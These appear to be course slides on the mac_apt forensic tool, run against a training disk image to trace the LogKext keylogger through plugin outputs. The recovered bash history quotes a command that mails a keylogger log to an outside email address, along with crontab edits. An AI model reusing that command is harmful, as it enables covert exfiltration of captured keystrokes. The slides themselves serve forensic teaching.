mac_apt

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Mac Forensics: CFRS 764

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This is what we will cover

- Overview of mac_apt
- Features of mac_apt
- What we analyzed using the tool
- Discussion of the available plugins
- Our recommendations
- GitHub link to mac_apt

What is mac_apt?

- A “macOS Artifact Parsing Tool”
- Used to extract data from Mac disk images that can be useful in digital forensic investigations.
- Created by Yogesh Khatri
- Individual plugins can be run on a Mac image to extract specific artifacts
  - Safari Internet History
  - Networking Information
  - Recent Items
- Written in Python 2.7

mac_apt Features

- Runs on the three major OSs
  - Mac
  - Linux
  - Windows
- Can analyze E01, DD, split-DD, and DMG files (only without compression)
- Information can be saved as XLSX, CSV, and Sqlite3 database
- APFS volumes are supported!
- Can analyze OSX 10.9 (Mavericks) through 10.13 (High Sierra)
  - We found it also works on 10.14 (Mojave)

Testing mac_apt on an E01 Image

- To demonstrate, we analyzed Tracy's MacBook Air running on OS X Lion.
- Image file obtained from this course: **tracy-home-2012-07-16-final.e01**
- Highlighted instances were mac_apt parsed information related to the keylogger LogKext installed on Tracy's machine.

Plugin: BASICINFO

- Operating system information
  - Version
- Time zone information
  - City selected for time zone
  - Coordinates of city selected for time zone
- Recent login information
  - Last user to login
- File system information
  - Volume block size
  - Volume creation, modified, checked, and backup dates
  - Number of files/folders

Plugin: BASICINFO Output

INFO_TYPE	Name	Data	Description	Source
SYSTEM	OSX Version	10.7.4	Lion	/System/Library/CoreServices/SystemVersion.plist
SYSTEM	ComputerName	Tracy's MacBook Air		/Library/Preferences/SystemConfiguration/preferences.plist
SYSTEM	LocalHostName	Tracys-MacBook-Air		/Library/Preferences/SystemConfiguration/preferences.plist
TIMEZONE	SelectedCity.CountryCode	US		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.Latitude	38.89511108		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.Longitude	-77.03636932		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.Name	Washington D.C.		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.RegionalCode	DC		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.TimeZoneName	America/New_York		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	SelectedCity.Version	1		/Library/Preferences/.GlobalPreferences.plist
TIMEZONE	TimeZone Set	America/New_York	Timezone on machine	/private/etc/localtime
USER-LOGIN	lastUser	Restart	Last user (Login) Action	/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN	lastUserName	terrysumtwelve		/Library/Preferences/com.apple.loginwindow.plist
USER-LOGIN	RetriesUntilHint	3	unknown	/Library/Preferences/com.apple.loginwindow.plist
HFS	Block Size	4096	Volume Block size (internal)	
HFS	Created date	6/12/2012 7:47	Volume created date (in local time)	
HFS	Last Modified date	7/16/2012 13:29	Volume last modified date	
HFS	Last Checked date	6/12/2012 14:47	Volume last checked for errors	
HFS	Last Backup date		Volume last backup date	
HFS	Last Mounted Version	HFSJ		
HFS	HFSX status	FALSE	Volume isn't HFSX	
HFS	HFS version	0	Volume version	
HFS	Number of Files	275788	Volume's total files	
HFS	Number of Folders	68354	Volume's total folders	

Plugin: USERS

- Collects information on current users and also deleted users
- Has ability to extract password information
- Account creation information
- Last successful login/failed logins
- Directory to where this information is extracted from
- **Downside:** Not all information is available for every version of macOS

Plugin: RECENTITEMS

- Type of item
  - Application
  - Document
  - Place
  - Volume
- Name of the item
  - Safari
  - All My Files
  - Remote Disk
- URL (if applicable)
- User
- Source
  - Plist

Plugin: RECENTITEMS Output

Type	Name	URL	Info	User	Source
APPLICATION	Safari			root	/private/var/root/Library/Preferences/com.apple.recentitems.plist
DOCUMENT	LogKext Readme.	LogKext Readme.html		root	/private/var/root/Library/Preferences/com.apple.recentitems.plist
PLACE	EXTERNAL	Volumes/EXTERNAL	FXRecentFolders	Guest	/Users/Guest/Library/Preferences/com.apple.finder.plist
PLACE	All My Files	System/Library/CoreSer	FXRecentFolders	Guest	/Users/Guest/Library/Preferences/com.apple.finder.plist
VOLUME	Computer		EntryType=16	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	MacBook Air HD		EntryType=261	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	EXTERNAL		EntryType=517	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	iDisk		EntryType=16	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	Network		EntryType=16	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	Remote Disc		EntryType=1040	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
VOLUME	NA		EntryType=517	Guest	/Users/Guest/Library/Preferences/com.apple.sidebarlists.plist
APPLICATION	Thunderbird			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Safari			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Google Chrome			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Mail			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	OpenOffice.org			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Install Adobe Flash Player			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Preview			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	iTunes			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist
APPLICATION	Skype			terrysumtv	/Users/terrysumtwelve/Library/Preferences/com.apple.recentitems.plist

Plugin: FSEVENTS

- Groups events into ‘File’, ‘Folder’, ‘HardLink’, ‘SymbolicLink’, or none, event types
- Each event has one, or more, flags attributed to it (created, removed, modified, etc.)
- Easier to parse the SQLite database and extract grouped information to look through

Plugin: FSEVENTS (searching for LogKext)

```
1   SELECT * from FsEvents where Filepath like '%Kext%' or Filepath like '%kext%'
```

	LogID	EventFlagsHex	EventType	EventFlags	Filepath	File_ID	SourceModDate	Source
1	00000000000019CD	00800010	File	Modified	private/var/log/oldkext.log	NULL	2012-07-10 14:18:13	/.fseventsd/0000000000010321
2	0000000000040587	00800002	File	Removed	Library/Preferences/com.apple.logKext	NULL	2012-07-11 19:08:39	/.fseventsd/0000000000042286
3	0000000000041C62	0080001C	File	InodeMetaMod|RenamedOrMoved|Modified	System/Library/Caches/com.apple.kext.caches/Startup/kernelcache	NULL	2012-07-11 19:08:39	/.fseventsd/0000000000042286
4	0000000000040584	00800010	File	Modified	private/var/log/oldkext.log	NULL	2012-07-11 19:08:39	/.fseventsd/0000000000042286
5	0000000000046936	0080001C	File	InodeMetaMod|RenamedOrMoved|Modified	System/Library/Caches/com.apple.kext.caches/Startup/kernelcache	NULL	2012-07-12 16:12:12	/.fseventsd/0000000000048474
6	0000000000047EB0	00800010	File	Modified	private/var/log/oldkext.log	NULL	2012-07-12 16:12:12	/.fseventsd/0000000000048474
7	000000000004B1D2	00800002	File	Removed	Library/Preferences/com.apple.logKext	NULL	2012-07-16 13:29:52	/.fseventsd/000000000004b544
8	000000000004B4BA	0080001C	File	InodeMetaMod|RenamedOrMoved|Modified	System/Library/Caches/com.apple.kext.caches/Startup/kernelcache	NULL	2012-07-16 13:29:52	/.fseventsd/000000000004b544
9	000000000004B1CF	00800010	File	Modified	private/var/log/oldkext.log	NULL	2012-07-16 13:29:52	/.fseventsd/000000000004b544

Plugin: FSEVENTS (additional drives)

```
1   SELECT * from FsEvents where Filepath like '%Volumes%' and EventFlags like '%Unmount%'
```

	LogID	EventFlagsHex	EventType	EventFlags	Filepath	File_ID	SourceModDate	Source
1	000000000003B4A4	06000000		Mount|Unmount	/Volumes/Lacie	NULL	2012-07-10 16:06:47	/.fseventsd/000000000003b593
2	000000000003B490	05000002	Folder	Removed|Unmount	/Volumes/Recovery HD	NULL	2012-07-10 16:06:47	/.fseventsd/000000000003b593
3	0000000000041E21	04000000		Unmount	/Volumes/External	NULL	2012-07-11 19:08:39	/.fseventsd/0000000000042286
4	0000000000040793	04000000		Unmount	/Volumes/Lacie	NULL	2012-07-11 19:08:39	/.fseventsd/0000000000042286
5	000000000004844D	04000000		Unmount	/Volumes/External	NULL	2012-07-12 16:12:12	/.fseventsd/0000000000048474
6	0000000000047123	07000002	Folder	Removed|Mount|Unmount	/Volumes/Recovery HD	NULL	2012-07-12 16:12:12	/.fseventsd/0000000000048474
7	000000000004AC48	06000000		Mount|Unmount	/Volumes/Lacie	NULL	2012-07-13 20:32:40	/.fseventsd/000000000004ad9c
8	000000000004AC34	05000002	Folder	Removed|Unmount	/Volumes/Recovery HD	NULL	2012-07-13 20:32:40	/.fseventsd/000000000004ad9c
9	000000000004B3E4	07000002	Folder	Removed|Mount|Unmount	/Volumes/Lacie	NULL	2012-07-16 13:29:52	/.fseventsd/000000000004b544
10	000000000004B0AE	05000002	Folder	Removed|Unmount	/Volumes/Recovery HD	NULL	2012-07-16 13:29:52	/.fseventsd/000000000004b544

Plugin: SPOTLIGHT

- Has a ton of data
- Shows the content type, languages, item display names, creation, modified and last used times, use counts, sizes, etc.

Plugin: Spotlight (searching for LogKext)

```
1  select kMDItemKind, kMDItemDisplayName, kMDItemDateAdded,
2  Date_Updated, kMDItemContentCreationDate, kMDItemContentModificationDate
3  from "Spotlight-1-store" sls
4  where kMDItemDisplayName like '%logkext%'
5  or kMDItemDisplayName like '%logKext%'
```

	kMDItemKind	kMDItemDisplayName	kMDItemDateAdded	Date_Updated	:MDItemContentCreationDate	kMDItemContentModificationDate
6	Document☐ en	logKext.plist	2012-06-14 20:37:28	2012-07-10 13:51:50.101281	2009-11-19 06:06:33	2009-11-19 06:06:33
7	Folder☐ en	logKext	2012-06-14 20:37:28	2012-07-10 13:51:50.101268	2012-06-14 20:37:25	2012-06-14 20:37:25
8	Kernel Extension☐ en	logKext.kext	2012-06-14 20:37:28	2012-07-10 13:51:50.101291	2009-11-19 06:06:32	2009-11-19 06:06:32
9	Unix Executable File☐ en	logKextClient	2012-06-14 20:37:28	2012-07-10 13:51:50.101301	2009-11-19 06:06:33	2009-11-19 06:06:33
10	Document☐ en	com.fsb.logkext.logkextReadme.pkg.bom	2012-06-14 20:37:54	2012-07-10 13:51:50.104168	2012-06-14 20:37:54	2012-06-14 20:37:54
11	Document☐ en	com.fsb.logkext.logkextReadme.pkg.plist	2012-06-14 20:37:54	2012-07-10 13:51:50.104178	2012-06-14 20:37:54	2012-06-14 20:37:54

Plugin: SPOTLIGHT (recent documents)

```
1  select sls.ID, slsp.FullPath, sls.kMDItemContentType, sls.kMDItemKind, sls.kMDItemDisplayName,
2  sls.kMDItemDateAdded, sls.Date_Updated, sls.kMDItemContentModificationDate, sls.kMDItemContentCreationDate
3  from "Spotlight-1-store" sls
4  inner join "Spotlight-1-store-paths" slsp
5  on slsp.ID=sls.Parent_ID
6  where kMDItemContentType like '%document%'
```

	ID	FullPath	kMDItemContentType	kMDItemKind	kMDItemDisplayName
1	383198	MacBook Air HD/U/joesumtwelve (Deleted)/D	org.oasis-open.opendocument.spreadsheet	ZIP archive☐ en	EXPENSE-DOC 7Q.ods
2	383259	MacBook Air HD/U/joesumtwelve (Deleted)/D	org.oasis-open.opendocument.spreadsheet	OpenDocument Spreadsheet☐ en	TPS Report 22-09.ods
3	383542	MacBook Air HD/U/joesumtwelve (Deleted)/D	org.oasis-open.opendocument.spreadsheet	ZIP archive☐ en	TPS REPORT 33-44F.ods
4	384157	MacBook Air HD/U/joesumtwelve (Deleted)/D	org.oasis-open.opendocument.spreadsheet	ZIP archive☐ en	EXPENSE-DOC 7Q 2.ods
5	401271	MacBook Air HD/U/terrysumtwelve/D	org.oasis-open.opendocument.text	OpenDocument Text☐ en	flatland-hw1.odt
6	432795	MacBook Air HD/U/terrysumtwelve/D	org.oasis-open.opendocument.text	OpenDocument Text☐ en	hw2a.odt
7	451296	MacBook Air HD/U/terrysumtwelve/L/Mail/V2/IM...	org.oasis-open.opendocument.text	OpenDocument Text☐ en	hw2a.odt
8	388667	MacBook Air HD/U/joesumtwelve (Deleted)/L/Ap...	org.oasis-open.opendocument.database	OpenDocument Database☐ en	biblio.odb

Plugin: BASHESSIONS

- Dumps all the commands, comma delimited, made in a bash session
  - Different than keylogger
  - Does not capture the text entered into executables run from the session
- Limited information provided
  - Session type
  - Session start and end (not always)
  - Commands
  - User
  - File commands are pulled from

Plugin: BASHESSIONS (commands by root)

```
crontab -e
cd /
ls
more /etc/logscript
whoami
crontab -e
rm
/Library/Preferences/com.apple
.logKext
crontab -e
ls
cd /var/log/
more oldkext.log
```

```
cat mail.log | mail joe.sum.twelve@gmail.com
-sLogfile
cat mail.log | mail joe.sum.twelve@gmail.com
-s Logfile
man mail
man mail
cat mail.log | mail -s "Logfile"
joe.sum.twelve@gmail.com
```

Plugin: BASHSESSIONS (commands by joesumtwelve)

```
sudo logKextClient
ls
vim com.fsb.logKext
sudo vim com.fsb.logKext
ls
rm com.fsb.logKext
sudo rm com.fsb.logKext
```

```
sudo mail
joe.sum.twelve@gmail.com
logKextClient
sudo logKextClient
sudo logKextClient
sudo logKextClient
clear
ls
sudo su
sudo crontab -e
```

Plugin: WIFI

- SSID: MiFi4620L Jatpack A9D1 Secure
- Last accessed: 2012-07-195 15:12:00
- Plist: Airportpreference.plist

Name	SSIDString	Preferred	Type	Security Type	Auto logir	Captive	Closed	Collocatec	Disabled	Last connected
	MiFi4620L Jetpack A9D1 Secure	None	KNOWN	WPA2 Personal	FALSE	FALSE	FALSE		FALSE	7/13/2012 15:12

Plugin: IDEVICEBACKUPS

- **Device name**: Tracy Sumtwelve’s iPhone
- **Product model**: iPhone 1,2
- **Phone number**: 703-340-9661
- **iOS version**: 4.2.1
- **Backup start and end date/time**: 28:32.9 - 28:35.7
- **Last backup date**: June, 6 2012 at 7:28 pm
- **IMEI:**
- **Serial number**
- **User**: tracysumtwelve
- **Source file**

Plugin: IDEVICEBACKUPS Output

Device_Name	Product_Name	Product_Model	Phone_Num	iOS_Vers	Backup_Start	Backup_End	Last_Backup_Date	Passcode_	Encrypted
Tracy Sumtwelve's iPhone		iPhone1,2	1 (703) 340-9661	4.2.1	28:32.9	28:35.7	6/12/2012 19:28	FALSE	FALSE
GUID									
8522B02236DA5067C4CEE745A1A43413									
ICCID	IMEI	MEID	SN	Full_Backu	Version	iTunes_Vers	Apps_on_device	User	
8.90141E+19	1.2021E+13		86004482Y7H	FALSE	2.4	10.5.3		tracysumtwelve	
Source									
/Users/tracysumtwelve/Library/Application Support/MobileSync/Backup/2a3d73e89d3bdc554ac91dfa55677ebeef0f6ada									

Plugin: INSTALLHISTORY

- Software Installation History:
- shows Name,Version,Package identifiers,Process name

ContentTy	Date	DisplayName	DisplayVersic	PackageIdentifiers	ProcessName	Source
None	6/12/2012 20:30	AirPort Utility	6.1	com.apple.pkg.AirPortUtility, com.apple.pkg.	Software Update	/Library/Receipts/InstallHistory.plist
None	6/12/2012 20:30	Flashback malwa	1	com.apple.pkg.FlashbackMalwareRemover	Software Update	/Library/Receipts/InstallHistory.plist
None	6/12/2012 20:30	Mac OS X Update	10.7.4	com.apple.pkg.update.os.10.7.4.11E53.delta	Software Update	/Library/Receipts/InstallHistory.plist
None	6/13/2012 19:58	Oracle VM VirtualBox		org.virtualbox.pkg.vboxkexts, org.virtualbox.	Installer	/Library/Receipts/InstallHistory.plist
None	6/13/2012 20:27	Twitter		com.twitter.twitter-mac	storeagent	/Library/Receipts/InstallHistory.plist
None	6/14/2012 20:37	logKext		com.fsb.logkext.logkextReadme.pkg, com.fsk	Installer	/Library/Receipts/InstallHistory.plist
None	6/21/2012 14:58	Oracle VM VirtualBox		org.virtualbox.pkg.vboxkexts, org.virtualbox.	Installer	/Library/Receipts/InstallHistory.plist
None	7/2/2012 19:00	Oracle VM VirtualBox		org.virtualbox.pkg.vboxkexts, org.virtualbox.	Installer	/Library/Receipts/InstallHistory.plist

Plugin: SAFARI

Pulls Internet history, downloaded file information, cookies and more from Safari caches

Type	Name_or_Title	URL	Date	Other_Info	User
HISTORY	QuickStart Wi-Fi Settings	http://vz.hotspot/mifi.cgi	6/12/12 19:19	REDIRECT_URLS:http://vz.hotspot/	tracysumtwelve
HISTORY	MiFi	http://vz.hotspot/	18:53.5	REDIRECT_URLS:http://vz.hotspot/	tracysumtwelve
TOPSITE	Downloads – Oracle VM VirtualBox	https://www.virtualbox.org/v	09:58.6	Date represents DisplayedSitesLast	tracysumtwelve
TOPSITE	virtualbox - Google Search	http://google.com/	09:58.6	Date represents DisplayedSitesLast	tracysumtwelve
TOPSITE	QuickStart Wi-Fi Settings	http://vz.hotspot/mifi.cgi	09:58.6	Date represents DisplayedSitesLast	tracysumtwelve
GENERAL	what does minmeg do logkext		None	RECENT_SEARCH	joesumtwelve (De
GENERAL	logkext minmeg		None	RECENT_SEARCH	joesumtwelve (De
GENERAL	~/Downloads		None	DOWNLOADS_PATH	joesumtwelve (De
GENERAL			6/15/12 13:50	SuccessfulLaunchTimestamp	joesumtwelve (De
HISTORY	LogKext v2.2	file:///LogKext%20Readme.ht	53:00.7		joesumtwelve (De
HISTORY	what does minimum megs do logkext	http://www.google.com/sear	52:09.1		joesumtwelve (De
HISTORY		http://logkext.googlecode.co	50:29.2		joesumtwelve (De
HISTORY	logkext minmeg - Google Search	http://www.google.com/sear	50:19.4	REDIRECT_URLS:http://logkext.goo	joesumtwelve (De
DOWNLOAD	url.html	http://www.google.com/url?:	None	~/Downloads/url.html	joesumtwelve (De
LASTSESSION	LogKext v2.2	file:///LogKext%20Readme.html		SELECTED WINDOW	joesumtwelve (De

LogKext v2.2

Under user *joesumtwelve*, there are evidence of search history, download, and selected window related to the LogKext keylogger.

Plist location it pulls data from, to name a few:
/Users/XXX/Library/Preferences/com.apple.safari.plist
/Users/XXX/Library/Safari/History.plist
/Users/XXX/Library/Preferences/com.apple.safari.plist
/Users/XXX/Library/Safari/LastSession.plist
/Users/XXX/Library/Safari/Downloads.plist

Plugin: DOCKITEMS

File Label	File Modified	File Path	User	Source
Documents	6/27/12 15:29	file://localhost/Users/Guest/Documents/	Guest	/Users/Guest/Library/Preferences/c
OpenOffice.org	4/19/12 6:28	file://localhost/Applications/OpenOffice.org.app/	terrysumtwelve	/Users/terrysumtwelve/Library/Pref
Thunderbird	6/15/12 2:54	file://localhost/Applications/Thunderbird.app	terrysumtwelve	/Users/terrysumtwelve/Library/Pref
VirtualBox	7/2/12 19:00	file://localhost/Applications/VirtualBox.app/	tracysumtwelve	/Users/tracysumtwelve/Library/Pref
Downloads	6/14/12 20:28	file://localhost/Users/joesumtwelve/Downloads/	joesumtwelve (D	/Users/joesumtwelve (Deleted)/Libr
OpenOffice.org	4/19/12 6:28	file://localhost/Applications/OpenOffice.org.app/	joesumtwelve (D	/Users/joesumtwelve (Deleted)/Libr

- Reads the Dock plist for every user
- Flagged file labels are listed here on this slide from the Tracy E01 image file
- Plist location it pulls data from: /Users/XXX/Library/Preferences/com.apple.dock.plist

Plugin: QUARANTINE

EventID	TimeStamp	AgentName	DataUrl	OriginUrl	User
704ABA1B-3	6/13/12 15:17	WebProcess	http://dlc.sun.c	http://download.virtualbox.org	tracysumtwe
7286BE20-D	6/13/12 15:17	Safari	http://dlc.sun.c	http://download.virtualbox.org	tracysumtwe
678025AA-5	6/13/12 19:47	WebProcess	http://dlc.sun.c	http://download.virtualbox.org	tracysumtwe
D6B2B68E-C	6/13/12 19:47	Safari	http://dlc.sun.c	http://download.virtualbox.org	tracysumtwe
1A41A1C1-3	6/13/12 20:12	WebProcess	http://voxel.dl.	http://sourceforge.net	tracysumtwe
E3E5B112-6	6/13/12 20:12	Safari	http://voxel.dl.	http://sourceforge.net	tracysumtwe
8176E8D0-3	6/21/12 13:49	Google Chrome	http://dlc.sun.c	None	tracysumtwe

- Reads the quarantine database
- Flagged Event ID’s are listed here on this slide from the Tracy E01 image file
- Pulls data from: /Users/XXX/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2

Plugin: NETWORKING

- Pulls details on Network Interfaces, last IP address, MAC address, DHCP, etc. as applicable

- Mac_apt created three .csv files from the Tracy E01 image file: Network_Details.csv, Network_DHCP.csv, and Network_Interfaces.csv

- Most Network information is pulled from: /Library/Preferences/SystemConfiguration

Plugin: NETWORKING Output

Details:

IPv4.ConfigMethod	DeviceName	Hardware	Type	UserDefinedName	I
DHCP	en0	AirPort	Ethernet	Wi-Fi	'
DHCP	en1	Ethernet	Ethernet	Bluetooth PAN	'
PPP	Bluetooth-Modem	Modem	PPP	Bluetooth DUN	

Plugin: NETWORKING Output

Network Interfaces:

Active	BSD Name	IOMACAddre	SCNetworkInterfaceInfo	SCNetworkInterfaceType
TRUE	en0	10:40:F3:92:	Wi-Fi	IEEE80211
	en1	10:40:F3:92:	Bluetooth PAN	Ethernet

Dynamic Host Configuration Protocol (DHCP):

MAC_Address	IPAddress	LeaseStartDate	Source		
10:40:f3:92:1c:6c	192.168.1.2	7/13/12 15:12	/private/var/db/dhcpclient/leases/e		

Observations and Recommendations

Support multiple internet browsers (Firefox, Chrome, Opera)

Search for deleted files (maybe incorporate bulk_extractor…)

A guide on how to add plugins, specifically how to utilize the methods for outputting the retrieved data

Link to website/sources

Link to GitHub: https://github.com/ydkhatri/mac_apt